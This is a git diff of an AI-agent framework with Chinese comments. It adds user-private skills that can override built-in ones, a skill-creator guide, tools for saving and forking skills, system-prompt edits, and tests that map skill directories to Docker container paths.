if skills.skills:
|
||||
prompt += f"\n\n## 可用 skill (用 load_skill 加载完整指引)\n{skills.discovery_block()}"
|
||||
prompt += memory_block(workspace_dir, user_id)
|
||||
if media_enabled:
|
||||
prompt += "\n\n" + _MEDIA_TOOLS_BLOCK
|
||||
# docker backend 下 shell/run_python/fs 工具全在容器里跑,容器把
|
||||
# `<workspace>/users/<uid>` bind 到 `/workspace`、`--workdir /workspace/<wd>`
|
||||
# (executor_docker.py:99-100)。此时 prompt 必须给**容器路径**,否则 LLM
|
||||
|
|
@ -260,33 +302,16 @@ def _build_system_prompt(
|
|||
f"普通产物(sections / slides / 终稿 .docx/.pptx)按 SKILL 文档落路径;"
|
||||
f"「宪法」性文件(spec 等)按下面《task 级「宪法」文件命名约定》拼路径。\n"
|
||||
f"⛔ 不要把产物写到 cwd / `skills/` / repo 根 —— 只写到 task_dir。\n"
|
||||
f"\n**run_python 过程脚本**:非平凡的 Python(>~15 行 / 要迭代调试 / 生成产物)"
|
||||
f"先用写文件工具落到 `<task_dir>/scripts/`(如 `scripts/analyze.py`,父目录自动建),"
|
||||
f"再用 `run_python(script_path=\"scripts/analyze.py\")` 执行 —— 源码留在文件里、可重读可改可重跑,"
|
||||
f"不挤占对话上下文。`scripts/` 只放过程脚本,**交付产物(.docx/.pptx/spec/figures 等)仍落 task_dir 根或 SKILL 指定路径**。"
|
||||
f"真·一次性短代码(算个数 / 探查一行)才用 `run_python(code=...)` 内联,临时执行不留痕。\n"
|
||||
f"\n## task 级「宪法」文件命名约定(跨 skill 通用)\n"
|
||||
f"任何 skill 产物中,跟 task 1:1 强绑定、阶段二/后续步骤会**反复 read**"
|
||||
f"的「宪法」性文件(如 proposal/ppt 的 spec、outline 等),**统一按下面格式命名**,"
|
||||
f"落在 task_dir 根下:\n\n"
|
||||
f"跟 task 1:1 绑定、后续步骤会**反复 read** 的「宪法」性文件(如 proposal/ppt 的 "
|
||||
f"spec、outline),统一落 task_dir 根、按此格式命名:\n\n"
|
||||
f" <YYYY-MM-DD>-<task_short_id>-<task_name>.<base>.md\n\n"
|
||||
f"其中 `<YYYY-MM-DD>` = 本会话 today=`{today}`;"
|
||||
f"`<task_short_id>` = `{short_id}`(永不变,主锚);"
|
||||
f"`<task_name>` = `{tname}`(可变,人类可读说明,原样用 含 CJK / 空格);"
|
||||
f"`<base>` 由 skill 定义(如 proposal/ppt 的 `spec`)。\n\n"
|
||||
f"**取 current 版本规则**:read 时 **按 task_short_id 锚定** glob "
|
||||
f"`{wd_path}/*-{short_id}-*.<base>.md` → 按文件名字典序排 → 取最大者"
|
||||
f"(= 最新日期)。这样即使用户改了 task_name,旧文件仍能定位(`<task_name>` "
|
||||
f"那段视为「建时快照」,不强求同步)。这是「current 指针」的纯文件名实现,"
|
||||
f"agent 自己拼即可。\n\n"
|
||||
f"**重定调场景**:用户阶段一已确认过的「宪法」文件,后续要推翻重写时,"
|
||||
f"以 today=`{today}` 为前缀写一份新的,**旧版自然保留为历史快照**(不要 edit "
|
||||
f"覆盖旧文件)。同日多次重定调可在文件名末尾加 `-v2` / `-v3` 等递增后缀。\n\n"
|
||||
f"**隔离逻辑**:同 working_dir 多 task → 由 `<task_short_id>` 严格隔离"
|
||||
f"(8 位 hex,撞概率近 0);同 task 多版本 → 由 `<YYYY-MM-DD>` 隔离。两层隔离"
|
||||
f"都靠文件名,**无目录嵌套、无 DB 字段、无 cascade rename**。其余产物"
|
||||
f"(`sections/` / `figures/` / `slides/` / 终稿 .docx/.pptx 等)按 SKILL "
|
||||
f"文档保留扁平共享,LLM 自行通过 task_short_id / 命名前缀判断归属。"
|
||||
f"用上面注入的值:`<YYYY-MM-DD>`=today=`{today}`、`<task_short_id>`=`{short_id}`"
|
||||
f"(永不变主锚)、`<task_name>`=`{tname}`(原样用 含 CJK/空格);`<base>` 由 skill "
|
||||
f"定义(如 `spec`)。取 current:按 short_id glob `{wd_path}/*-{short_id}-*.<base>.md`"
|
||||
f" → 文件名字典序取最大者(= 最新日期,改过 task_name 旧文件仍能定位);重定调时以 "
|
||||
f"today 为前缀写新版、**旧版留作历史快照不要覆盖**(同日多版加 `-v2`/`-v3`)。"
|
||||
f"取用 / 重定调的具体时机见对应 skill。"
|
||||
)
|
||||
return prompt
|
||||
|
||||
|
|
@ -368,7 +393,12 @@ def build_agent(
|
|||
|
||||
tool_base = Path(tool_base) if tool_base else Path.cwd()
|
||||
|
||||
skills = SkillRegistry(ROOT / cfg.get("skills_dir", "skills"))
|
||||
is_docker = os.getenv("ZCBOT_SANDBOX_BACKEND", "host").lower() == "docker"
|
||||
skills = build_skill_registry(cfg, workspace_dir, uid, docker=is_docker)
|
||||
|
||||
# 媒体配置提前 load 一次:既决定 system prompt 要不要追加媒体段(media_enabled),
|
||||
# 也复用给下方 seedream/seedance 注册(避免重复读 doubao.yaml)。无 ARK_API_KEY → None。
|
||||
ark_cfg = ArkConfig.load()
|
||||
|
||||
now_iso = datetime.now().isoformat(timespec="seconds")
|
||||
# meta["working_dir"] 是 db 形态(相对 ROOT 或绝对);Session.append → ensure_local_task_row
|
||||
|
|
@ -402,6 +432,7 @@ def build_agent(
|
|||
system_prompt = _build_system_prompt(
|
||||
cfg, skills, workspace_dir, tool_base, working_dir_path, uid,
|
||||
task_id, task_state.name, task_state.skill,
|
||||
media_enabled=ark_cfg is not None,
|
||||
)
|
||||
|
||||
meta = {
|
||||
|
|
@ -438,8 +469,6 @@ def build_agent(
|
|||
wf = WebFetchTool(base_dir=tool_base, user_root=ur_path)
|
||||
tools[wf.name] = wf
|
||||
|
||||
import os
|
||||
|
||||
# Secret-bearing domain tools stay host-side. Never expose DOCUMENT_SEARCH_API_KEY
|
||||
# / MP_API_KEY to run_python or the sandbox; only register typed tools when the
|
||||
# corresponding host env exists.
|
||||
|
|
@ -472,22 +501,20 @@ def build_agent(
|
|||
tools[t.name] = t
|
||||
|
||||
if skills.skills:
|
||||
# docker backend 下 fs/shell/run_python 在容器内跑,skills/ bind mount 到
|
||||
# /sandbox/skills:ro。把 LoadSkillTool 返回头里的 dir 改写成容器路径,LLM
|
||||
# 拿来 read references 才能命中。host backend = None,保持原 host 绝对路径。
|
||||
container_skills_dir = (
|
||||
"/sandbox/skills"
|
||||
if os.getenv("ZCBOT_SANDBOX_BACKEND", "host").lower() == "docker"
|
||||
else None
|
||||
)
|
||||
ls = LoadSkillTool(
|
||||
registry=skills,
|
||||
base_dir=tool_base,
|
||||
user_root=ur_path,
|
||||
container_skills_dir=container_skills_dir,
|
||||
)
|
||||
# LoadSkillTool 返回头里的 dir 由 registry 按 skill.source 给容器内路径
|
||||
# (内置 → /sandbox/skills,用户 → /workspace/.skills);host backend → host 绝对路径。
|
||||
ls = LoadSkillTool(registry=skills, base_dir=tool_base, user_root=ur_path)
|
||||
tools[ls.name] = ls
|
||||
|
||||
# 用户 skill 创作工具:恒挂(每个用户都能造自己的 skill)。host-side 直接写
|
||||
# user_root/.skills —— 不走沙箱 fs(其 base_dir 锚 cwd / 容器 wd,够不到 .skills)。
|
||||
user_skills_dir = ur_path / ".skills"
|
||||
for t in (
|
||||
SaveSkillTool(user_skills_dir, skills, base_dir=tool_base, user_root=ur_path),
|
||||
ForkSkillTool(user_skills_dir, skills, base_dir=tool_base, user_root=ur_path),
|
||||
):
|
||||
tools[t.name] = t
|
||||
|
||||
if caps.enable_run_python:
|
||||
rp = RunPythonTool(base_dir=tool_base, user_root=ur_path)
|
||||
tools[rp.name] = rp
|
||||
|
|
@ -503,7 +530,7 @@ def build_agent(
|
|||
# image_variant 由 caller 传(web 入口随消息 POST 带);空 → 取 yaml 第一个 variant
|
||||
# (fallback,沿用原行为)。本次 run 装的 SeedreamTool 锁定该 variant,本 run 内的
|
||||
# 多次 tool call 全用同一个;下一条消息可以重选。
|
||||
ark_cfg = ArkConfig.load()
|
||||
# ark_cfg 已在函数上半部 load 过(复用,顺带决定 system prompt 的 media 段)。
|
||||
if ark_cfg is not None:
|
||||
image_cfg = (ark_cfg.raw.get("image") or {})
|
||||
chosen_key, chosen_cfg = "", None
|
||||
|
|
|
|||
127
core/skills.py
127
core/skills.py
|
|
@ -1,15 +1,19 @@
|
|||
"""Skill 注册表 (Anthropic 标准格式)。
|
||||
|
||||
每个 skill 是 skills/<name>/ 目录,内含 SKILL.md(带 frontmatter)+ 可选的
|
||||
每个 skill 是 <root>/<name>/ 目录,内含 SKILL.md(带 frontmatter)+ 可选的
|
||||
references/、scripts/、assets/。启动时只读 frontmatter 做 discovery,完整 SKILL.md
|
||||
和 references 由 agent 按需加载(渐进披露)。
|
||||
|
||||
多来源:内置 skill(`ROOT/skills`,只读)+ 用户 skill(`user_root/.skills`,可写)。
|
||||
来源按顺序扫,**后扫的同名覆盖先扫的** —— 用户 skill 排在内置之后,故"用户覆盖
|
||||
内置"(user wins);覆盖关系记进 `user_overrides` 供 discovery 显式标注,不静默。
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Dict, Optional, Tuple
|
||||
from typing import Dict, List, Optional, Tuple, Union
|
||||
|
||||
import yaml
|
||||
|
||||
|
|
@ -18,7 +22,11 @@ _FRONTMATTER_RE = re.compile(r"^---\n(.*?)\n---\n?", re.DOTALL)
|
|||
|
||||
|
||||
def parse_frontmatter(text: str) -> Tuple[dict, str]:
|
||||
"""解析 markdown 顶部的 YAML frontmatter。返回 (meta, body)。"""
|
||||
"""解析 markdown 顶部的 YAML frontmatter。返回 (meta, body)。
|
||||
|
||||
frontmatter YAML 非法时抛 `yaml.YAMLError`(由 `SkillRegistry._scan` 捕获记进
|
||||
load_errors —— 用户手写 skill 易踩,不能让一个坏 skill 崩掉整次扫描)。
|
||||
"""
|
||||
m = _FRONTMATTER_RE.match(text)
|
||||
if not m:
|
||||
return {}, text
|
||||
|
|
@ -28,11 +36,20 @@ def parse_frontmatter(text: str) -> Tuple[dict, str]:
|
|||
return meta, text[m.end():]
|
||||
|
||||
|
||||
class SkillLoadError(Exception):
|
||||
"""skill 目录有 SKILL.md 但加载失败(YAML 坏 / 缺 description 等)。
|
||||
|
||||
与"没有 SKILL.md(根本不是 skill 目录,静默跳过)"区分:前者要面向用户报,
|
||||
后者是正常的非 skill 子目录。
|
||||
"""
|
||||
|
||||
|
||||
@dataclass
|
||||
class Skill:
|
||||
name: str
|
||||
description: str
|
||||
skill_dir: Path
|
||||
source: str = "builtin" # 'builtin' | 'user'
|
||||
|
||||
@property
|
||||
def skill_md(self) -> Path:
|
||||
|
|
@ -42,40 +59,110 @@ class Skill:
|
|||
return self.skill_md.read_text(encoding="utf-8")
|
||||
|
||||
@classmethod
|
||||
def from_dir(cls, skill_dir: Path) -> Optional["Skill"]:
|
||||
def from_dir(cls, skill_dir: Path, source: str = "builtin") -> Optional["Skill"]:
|
||||
"""加载一个 skill 目录。
|
||||
|
||||
无 SKILL.md → 返回 None(静默跳过,不是 skill 目录);
|
||||
有 SKILL.md 但格式错(YAML 坏 / 缺 description) → 抛 SkillLoadError。
|
||||
"""
|
||||
md = skill_dir / "SKILL.md"
|
||||
if not md.exists():
|
||||
return None
|
||||
meta, _ = parse_frontmatter(md.read_text(encoding="utf-8"))
|
||||
return None # 不是 skill 目录,静默跳过
|
||||
try:
|
||||
text = md.read_text(encoding="utf-8")
|
||||
except (OSError, UnicodeDecodeError) as e:
|
||||
raise SkillLoadError(f"读不出 SKILL.md: {e}")
|
||||
try:
|
||||
meta, _ = parse_frontmatter(text)
|
||||
except yaml.YAMLError as e:
|
||||
raise SkillLoadError(f"frontmatter YAML 非法: {e}")
|
||||
name = meta.get("name") or skill_dir.name
|
||||
desc = meta.get("description") or ""
|
||||
if not desc:
|
||||
return None # description 是 discovery 的关键,缺了不收
|
||||
return cls(name=name, description=desc, skill_dir=skill_dir)
|
||||
raise SkillLoadError("缺 description(frontmatter 必须有 name + description)")
|
||||
return cls(name=name, description=desc, skill_dir=skill_dir, source=source)
|
||||
|
||||
|
||||
@dataclass
|
||||
class SkillSource:
|
||||
"""一个 skill 搜索来源。
|
||||
|
||||
container_root: docker backend 下该来源在容器内的挂载前缀
|
||||
(内置 → `/sandbox/skills`,用户 → `/workspace/.skills`);None = host backend,
|
||||
LoadSkillTool 退回 host 绝对路径。
|
||||
"""
|
||||
root: Path
|
||||
source: str = "builtin"
|
||||
container_root: Optional[str] = None
|
||||
|
||||
|
||||
SourcesArg = Union[Path, str, SkillSource, List[SkillSource]]
|
||||
|
||||
|
||||
class SkillRegistry:
|
||||
def __init__(self, skills_dir: Path) -> None:
|
||||
self.skills_dir = Path(skills_dir)
|
||||
def __init__(self, sources: SourcesArg) -> None:
|
||||
# 单个 Path/str → 包成单一 builtin 来源(向后兼容直接传目录的调用 / 测试)
|
||||
if isinstance(sources, (str, Path)):
|
||||
sources = [SkillSource(Path(sources), "builtin")]
|
||||
elif isinstance(sources, SkillSource):
|
||||
sources = [sources]
|
||||
self.sources: List[SkillSource] = list(sources)
|
||||
self.skills: Dict[str, Skill] = {}
|
||||
# 用户 skill 覆盖了内置 skill 的 name 集合 —— discovery 显式标注,覆盖不静默
|
||||
self.user_overrides: set[str] = set()
|
||||
# 加载失败的用户 skill:(目录名, 原因)。内置 skill 失败是 dev bug,不进此列
|
||||
# (不面向终端用户报),由测试 / 启动日志兜底
|
||||
self.load_errors: List[Tuple[str, str]] = []
|
||||
self._container_roots: Dict[str, Optional[str]] = {}
|
||||
self._scan()
|
||||
|
||||
def _scan(self) -> None:
|
||||
if not self.skills_dir.exists():
|
||||
return
|
||||
for child in sorted(self.skills_dir.iterdir()):
|
||||
for src in self.sources:
|
||||
self._container_roots[src.source] = src.container_root
|
||||
if not src.root.exists():
|
||||
continue # 用户没有 .skills 目录 → 一次 exists() 跳过,零成本
|
||||
for child in sorted(src.root.iterdir()):
|
||||
if not child.is_dir():
|
||||
continue
|
||||
skill = Skill.from_dir(child)
|
||||
if skill is not None:
|
||||
self.skills[skill.name] = skill
|
||||
try:
|
||||
skill = Skill.from_dir(child, source=src.source)
|
||||
except SkillLoadError as e:
|
||||
if src.source == "user":
|
||||
self.load_errors.append((child.name, str(e)))
|
||||
continue
|
||||
if skill is None:
|
||||
continue
|
||||
prev = self.skills.get(skill.name)
|
||||
if prev is not None and prev.source != skill.source and skill.source == "user":
|
||||
self.user_overrides.add(skill.name) # 用户覆盖了内置
|
||||
self.skills[skill.name] = skill # 后扫覆盖先扫 → user wins
|
||||
|
||||
def discovery_block(self) -> str:
|
||||
"""启动时注入 system prompt 的 skill 列表(name + description)。"""
|
||||
if not self.skills:
|
||||
"""注入 system prompt 的 skill 列表(name + description + 来源标注)。"""
|
||||
if not self.skills and not self.load_errors:
|
||||
return ""
|
||||
lines = [f"- **{s.name}**: {s.description}" for s in self.skills.values()]
|
||||
return "\n".join(lines)
|
||||
lines = []
|
||||
for s in self.skills.values():
|
||||
if s.source == "user":
|
||||
tag = " [你的·已覆盖内置]" if s.name in self.user_overrides else " [你的]"
|
||||
else:
|
||||
tag = ""
|
||||
lines.append(f"- **{s.name}**{tag}: {s.description}")
|
||||
block = "\n".join(lines)
|
||||
if self.load_errors:
|
||||
errs = "; ".join(f"`{n}`({why})" for n, why in self.load_errors)
|
||||
block += (
|
||||
"\n\n> ⚠️ 你有用户 skill 因格式问题未加载,需要时提醒用户修好 frontmatter"
|
||||
f"(修好后下条消息生效):{errs}"
|
||||
)
|
||||
return block
|
||||
|
||||
def container_dir(self, skill: Skill) -> Optional[str]:
|
||||
"""docker 下该 skill 在容器内的目录;host backend → None(调用方退回 host 绝对路径)。"""
|
||||
root = self._container_roots.get(skill.source)
|
||||
if not root:
|
||||
return None
|
||||
return f"{root.rstrip('/')}/{skill.name}"
|
||||
|
||||
def get(self, name: str) -> Optional[Skill]:
|
||||
return self.skills.get(name)
|
||||
|
|
|
|||
|
|
@ -4,7 +4,7 @@
|
|||
- `read` / `write` / `edit` —— 文件操作
|
||||
- `glob` / `grep` —— 文件搜索
|
||||
- `shell` —— 执行命令(默认 60s 超时)
|
||||
- `run_python` —— 在子进程里跑 Python (数据处理、生成 .pptx/.docx、画图等)。非短小一次性代码时,先用 `write` 把 `.py` 文件写到 task_dir,再用 `run_python(script_path="...")` 执行;避免大段源码进入对话历史。
|
||||
- `run_python` —— 在子进程里跑 Python (数据处理、生成 .pptx/.docx、画图等)。非短小一次性代码时,先用 `write` 把 `.py` 落到 `<task_dir>/scripts/`(如 `scripts/analyze.py`),再 `run_python(script_path="scripts/analyze.py")` 执行 —— 源码留文件里可重读可改可重跑,不挤占对话历史;`scripts/` 只放过程脚本,交付产物仍落 task_dir 根或 SKILL 指定路径。真·一次性短代码(算个数/探查一行)才用 `run_python(code=...)` 内联。
|
||||
- `load_skill` —— 加载某个 skill 的完整指引
|
||||
- `task_progress` —— 给 Web 前端发布/更新用户可见的进度步骤列表。只在多步骤任务使用;开始时设 3-7 个关键步骤,每完成或进入一个关键步骤时更新一次。
|
||||
|
||||
|
|
@ -15,14 +15,6 @@
|
|||
- 任务全部做完时,把最后一步标成 `completed`(让用户在顶部进度面板看到"全绿"收尾),**不要用 `clear`**;`clear` 只在计划被推翻、不再相关时才用。
|
||||
- 简单问答、单次文件读取、很小的改动不需要调用 `task_progress`。
|
||||
|
||||
## 媒体生成工具(按需可用,未配置 ARK_API_KEY 时该工具不会出现)
|
||||
- `seedream` —— 豆包图像生成。产物自动落 `<task_dir>/figures/`。每次 **¥0.22**(联网 `search=true` 加 ¥0.05)。
|
||||
- **调用前必须先 `load_skill('imagegen')`** —— skill 里有「何时该用 / 该不该用 mermaid 替代 / 用户描述模糊度诊断 / 一次性追问范式 / prompt 装配 / 失败解药」全套引导。**不要拿用户原话直接当 prompt 调 tool** —— 容易烧 ¥0.22 在错的方向上。
|
||||
- 兜底硬约束(即使没 load skill 也守):用户没主动要图就别装饰性生成;同一目的不满意**不要连发**,先口头校准 prompt 再调。
|
||||
- `seedance` —— 豆包视频生成(Seedance 2.0 Fast)。异步任务,**等 30-90s 出片**;产物自动落 `<task_dir>/videos/`。每次 **¥1.86 起**(480p 4s)~ **¥12+**(720p 15s),比图贵 10 倍以上。触发词:视频 / 动画 / 动起来 / 做个 video / 镜头 / 短片 / 演示视频 / 动效。
|
||||
- **调用前必须先 `load_skill('videogen')`** —— skill 里有「6 维诊断(含运动维必填)/ seedream/mermaid 反向选型 / prompt 装配 / 参数取舍(时长/分辨率/比例直接决定钱)/ 失败解药」全套引导。视频比图贵 10 倍且 90s 等待,绝对不要拿用户原话当 prompt 直接调。
|
||||
- 兜底硬约束:用户没主动要视频就别装饰性生成(比生图更严重的红线);同一目的不满意**绝不连发**(1 次错 = ¥4+60s,连发 2 次 = ¥8+2min);phase 1 仅文生视频,**不支持** image-to-video / video-to-video。
|
||||
|
||||
## Skill 机制
|
||||
你启动时只看到下方 skill 的"名字 + 描述"。Skill 是**可选辅助** —— 任务明确落在
|
||||
某个 skill 领域(用户要做 PPT、写申报书等)时,先 `load_skill(name)` 拿完整指引
|
||||
|
|
@ -43,13 +35,9 @@
|
|||
- 少来回:多个**互相独立、不依赖中间结果**的操作(建多页产物、批量改文件、生成整份 deck/文档)合到一个脚本或一轮(并发多 tool call)里做,别一步一个 tool call —— 每轮来回都重发整段上下文,轮数是 token 体量的线性乘数;但**下一步输入要看上一步结果**时(探索性检索、按报错改、需用户确认方向)就老实分步,别硬批
|
||||
|
||||
## 路径
|
||||
默认工作目录在系统消息末尾,所有相对路径基于该目录。
|
||||
默认工作目录见系统消息末尾,相对路径都基于它。
|
||||
|
||||
**对外 echo 产物文件路径(回复用户、汇报产物)时**:用 user_root 相对的**全形式** `<wd_name>/<rel>` —— `<wd_name>` 就是上方 task_dir 字段的最后一段(如 task_dir = `D:\...\users\<uuid>\生图测试` → `<wd_name>` = `生图测试`)。例:`生图测试/videos/xxx.mp4`、`生图测试/figures/cover.png`、`基金申报/sections/01-绪论.md`、`公司汇报/slides/deck.pptx`。**不要简写**为 `videos/xxx.mp4` / `figures/cover.png` / `slides/deck.pptx` 这种只在 task 内成立的裸形式。
|
||||
|
||||
媒体 tool(`seedream` / `seedance`)输出的 `saved:` 那行**已经是规范全形式**,原样照抄就行(免去自己拼前缀);其他场景(ppt / proposal / coding 等 `run_python` / `write` / `shell` 写完文件后)自己按 `<wd_name>/<rel>` 拼。
|
||||
|
||||
**为什么硬性约束**:Web UI 按 `<wd_name>/...` 前缀识别产物路径挂可点 chip(预览 / 下载);简写形式 chip 失效,用户没法直接点开。跨所有产物 skill 统一生效。
|
||||
**对外 echo 产物路径(回复 / 汇报用)一律用全形式 `<wd_name>/<rel>`** —— `<wd_name>` = 上方 task_dir 末段(如末段是 `生图测试` → `生图测试/figures/cover.png`、`基金申报/sections/01-绪论.md`)。**别简写**成 `figures/cover.png` 这种 task 内裸形式:Web UI 靠 `<wd_name>/` 前缀挂可点 chip(预览 / 下载),简写会失效。媒体 tool 的 `saved:` 行已是规范全形式,原样照抄即可。
|
||||
|
||||
## 平台
|
||||
当前是 Windows + cmd.exe。**避免用 unix-only flag**:
|
||||
|
|
|
|||
|
|
@ -0,0 +1,108 @@
|
|||
---
|
||||
name: skill-creator
|
||||
description: 引导用户创建 / 改造自己的 skill(存进用户私有 `.skills/`,只对自己生效)。当用户说"我想做个自己的 skill / 把某个能力固化下来 / 把 zcbot 的某 skill 改成我要的样子 / 每次都要重复交代同一套规矩"时使用。本 skill 教怎么写 SKILL.md、怎么 fork 内置 skill 再改、怎么写好路由用的 description。用户只是要完成一个具体任务(写本子 / 画图 / 查文献)时不用 —— 那直接走对应 skill。
|
||||
---
|
||||
|
||||
# Skill Creator - 造你自己的 skill
|
||||
|
||||
帮用户把"反复要交代的一套做法"沉淀成一个**私有 skill**,存在他自己的 `.skills/` 下,只对他生效,不影响别人也不动内置 skill。
|
||||
|
||||
两种来源:
|
||||
- **从零写**:全新能力,用 `save_skill` 写一份 SKILL.md。
|
||||
- **fork 内置再改**(最常见):看中某个内置 skill(如 ppt / proposal)但想调规矩,用 `fork_skill` 整目录拷过来(**带它的脚本**),再编辑 SKILL.md。
|
||||
|
||||
## 何时用
|
||||
|
||||
- 用户说"我想要个自己的 skill / 自定义 skill / 把这套流程固定下来"
|
||||
- 用户说"zcbot 的 X skill 挺好但我想改成 Y" → fork 再改
|
||||
- 用户每次任务都要重复交代同一套约束(术语表 / 模板 / 禁忌) → 建议固化成 skill
|
||||
- 用户问"skill 怎么写 / SKILL.md 什么格式"
|
||||
|
||||
## 何时不用
|
||||
|
||||
- 用户只是要完成一个具体任务 → 走对应内置 skill,别绕到造 skill
|
||||
- 用户要改的是**全局行为**(所有任务都该这样) → 那是 system prompt / 偏好,不是 skill
|
||||
- 一次性的事 → 直接做,不值得固化
|
||||
|
||||
## 关键机制(先讲清楚再动手)
|
||||
|
||||
**存哪**:用户 skill 在私有 `.skills/<name>/SKILL.md`(与 `.memory/` 同级,文件面板里隐藏)。**你不用、也不该用 write/shell 去手写这个目录** —— 沙箱 fs 的根不指向那里,跨 host/docker 不可靠。一律用下面两个工具,它们 host 侧直接落到正确位置。
|
||||
|
||||
**两个工具**:
|
||||
- `save_skill(name, content)` — 新建 / 覆盖 `.skills/<name>/SKILL.md`。`content` 是完整 SKILL.md(含 frontmatter)。写时校验 frontmatter 合法且有 description,不合格直接拒。
|
||||
- `fork_skill(src, new_name)` — 把内置(或用户已有)skill **整目录**拷到 `.skills/<new_name>/`,脚本 / references 一起带过来,frontmatter 的 name 自动改成 `new_name`。
|
||||
|
||||
**生效时机**:造好 / 改好后,**下一条消息**才生效(registry 每轮重建)。告诉用户造完这条结束,下次发消息就能用了。
|
||||
|
||||
**覆盖语义(user wins)**:用户 skill 与内置**同名 → 覆盖内置**(只对该用户)。想替换内置就用同名,想**两个都留**就改名(如 `ppt-mine`)。覆盖会在 skill 列表里显式标 `[你的·已覆盖内置]`,不静默。
|
||||
|
||||
## 工作流
|
||||
|
||||
### 1. 先问清楚要造什么(BLOCKING)
|
||||
|
||||
- 是**从零**还是**基于某内置 skill 改**?基于改 → 是哪个、想改什么?
|
||||
- 这个 skill 解决什么任务?**什么时候该触发、什么时候不该**?(这决定 description,见下)
|
||||
- 要不要带脚本 / 模板?
|
||||
|
||||
### 2a. fork 路径(基于内置改)
|
||||
|
||||
1. `fork_skill(src=<内置名>, new_name=<用户起的名>)` —— 默认建议改名(如 `ppt` → `ppt-mine`),除非用户明确要覆盖内置。
|
||||
2. fork 回包会给出 `.skills/<new_name>/` 路径。用 `read` 看 SKILL.md,用 `edit` 改用户想改的部分(规矩 / 模板 / 默认值)。
|
||||
3. 改完告诉用户:下条消息起,`<new_name>` 就在 skill 列表里了。
|
||||
|
||||
### 2b. 从零路径
|
||||
|
||||
1. 跟用户敲定 name + description + 正文骨架。
|
||||
2. `save_skill(name, content)`,`content` 是完整 SKILL.md。
|
||||
3. 若校验报错(缺 description / YAML 坏),按提示修了重存。
|
||||
|
||||
### 3. 写好 description —— 这是最关键的一环
|
||||
|
||||
description 是**唯一进每轮 skill 列表、决定路由**的字段。写糊了的代价不是"skill 不好用",而是**误触发 + 稀释列表**。规则:
|
||||
|
||||
- 一句话讲清**做什么** + **何时用** + **何时别用**
|
||||
- 给**触发词**(用户会怎么开口),必要时给**反例**(像不该触发的近义场景)
|
||||
- 别写成功能罗列,要写成"路由信号"
|
||||
|
||||
照抄内置的结构,比如:
|
||||
> `description: 生成 PowerPoint(.pptx)。✅ 触发:PPT / 幻灯片 / slide / deck / .pptx。⛔ 不触发:报告 / 文档 / 纪要(走 documents/proposal)。...`
|
||||
|
||||
### 4. SKILL.md 正文骨架(从零时给用户的模板)
|
||||
|
||||
```markdown
|
||||
---
|
||||
name: <小写、[a-z0-9_-]、≤64>
|
||||
description: <路由说明:做什么 + 何时用 + 何时别用 + 触发词>
|
||||
---
|
||||
|
||||
# <标题>
|
||||
|
||||
<一句话定位:这个 skill 帮用户做什么>
|
||||
|
||||
## 何时用 / 何时不用
|
||||
- ...
|
||||
|
||||
## 工作流
|
||||
1. ...
|
||||
|
||||
## 反模式
|
||||
- ...
|
||||
```
|
||||
|
||||
正文要不要分阶段 / 卡 BLOCKING / 带 quality_check,看任务复杂度 —— 简单 skill 几行就够,别硬套。带脚本的:脚本放 `.skills/<name>/scripts/`,SKILL.md 里用 `<skill_dir>/scripts/xxx.py` 引(`<skill_dir>` 是 `load_skill` 返回头给的路径,host/docker 都对)。
|
||||
|
||||
## 反模式
|
||||
|
||||
- 用 `write` / `shell` 手动往 `.skills` 写 —— 用 `save_skill` / `fork_skill`(沙箱 fs 根够不到 `.skills`,会写错地方)
|
||||
- fork 带脚本的内置 skill(ppt/proposal)却只 `save_skill` 拷了 SKILL.md —— 脚本没带过来,`import` 必崩;带脚本一律 `fork_skill`
|
||||
- description 写成"很厉害的 PPT skill" —— 没有触发信号,路由抓瞎
|
||||
- 默认就覆盖同名内置 —— 除非用户明说要替换,否则改名并存,别悄悄遮掉内置
|
||||
- 造完不告诉用户"下条消息才生效",用户当场没看到以为失败
|
||||
- 把"所有任务都该遵守的全局规矩"做成 skill —— 那该进偏好 / system prompt
|
||||
|
||||
## 输出
|
||||
|
||||
完成后给用户:
|
||||
- skill 名 + 路径(`.skills/<name>/`)
|
||||
- 是覆盖内置还是新增 / 并存
|
||||
- 一句话:下条消息发什么就能触发它(或让 LLM 自动按 description 路由)
|
||||
|
|
@ -1,8 +1,9 @@
|
|||
"""LoadSkillTool 路径改写测试。
|
||||
|
||||
docker backend 下 fs/shell/run_python 在容器里跑,skills/ bind mount 到
|
||||
`/sandbox/skills:ro`。LoadSkillTool 返回头里的 `dir` 必须是容器路径而不是 host
|
||||
绝对路径,否则 LLM 拿 host 路径调 read references 时容器 namespace 不通。
|
||||
docker backend 下 fs/shell/run_python 在容器里跑,skill 目录按来源 bind 到不同挂载点
|
||||
(内置 → `/sandbox/skills:ro`,用户 → `/workspace/.skills`)。LoadSkillTool 返回头里的
|
||||
`dir` 必须是容器路径而不是 host 绝对路径,否则 LLM 拿 host 路径调 read references 时
|
||||
容器 namespace 不通。容器路径由 `SkillSource.container_root` 按 `skill.source` 决定。
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
|
|
@ -10,7 +11,7 @@ import tempfile
|
|||
import unittest
|
||||
from pathlib import Path
|
||||
|
||||
from core.skills import SkillRegistry
|
||||
from core.skills import SkillRegistry, SkillSource
|
||||
from tools.skill_tool import LoadSkillTool
|
||||
|
||||
|
||||
|
|
@ -24,45 +25,45 @@ class TestLoadSkillToolPathRewrite(unittest.TestCase):
|
|||
"---\nname: demo\ndescription: 测试用\n---\n\n# Demo body\n",
|
||||
encoding="utf-8",
|
||||
)
|
||||
self.registry = SkillRegistry(self.skills_dir)
|
||||
|
||||
def tearDown(self):
|
||||
self.tmpdir.cleanup()
|
||||
|
||||
def test_host_backend_returns_host_path(self):
|
||||
"""没传 container_skills_dir → header 用 host 绝对路径(原行为)。"""
|
||||
tool = LoadSkillTool(registry=self.registry)
|
||||
"""container_root=None → header 用 host 绝对路径(原行为)。"""
|
||||
registry = SkillRegistry(self.skills_dir) # 单 Path → builtin, container_root=None
|
||||
tool = LoadSkillTool(registry=registry)
|
||||
out = tool.execute(name="demo")
|
||||
host_path = str((self.skills_dir / "demo"))
|
||||
self.assertIn(f"dir={host_path}", out)
|
||||
self.assertIn("# Demo body", out)
|
||||
|
||||
def test_docker_backend_rewrites_to_sandbox_path(self):
|
||||
"""传 container_skills_dir=/sandbox/skills → header 用容器路径,且不漏 host 路径。"""
|
||||
tool = LoadSkillTool(
|
||||
registry=self.registry,
|
||||
container_skills_dir="/sandbox/skills",
|
||||
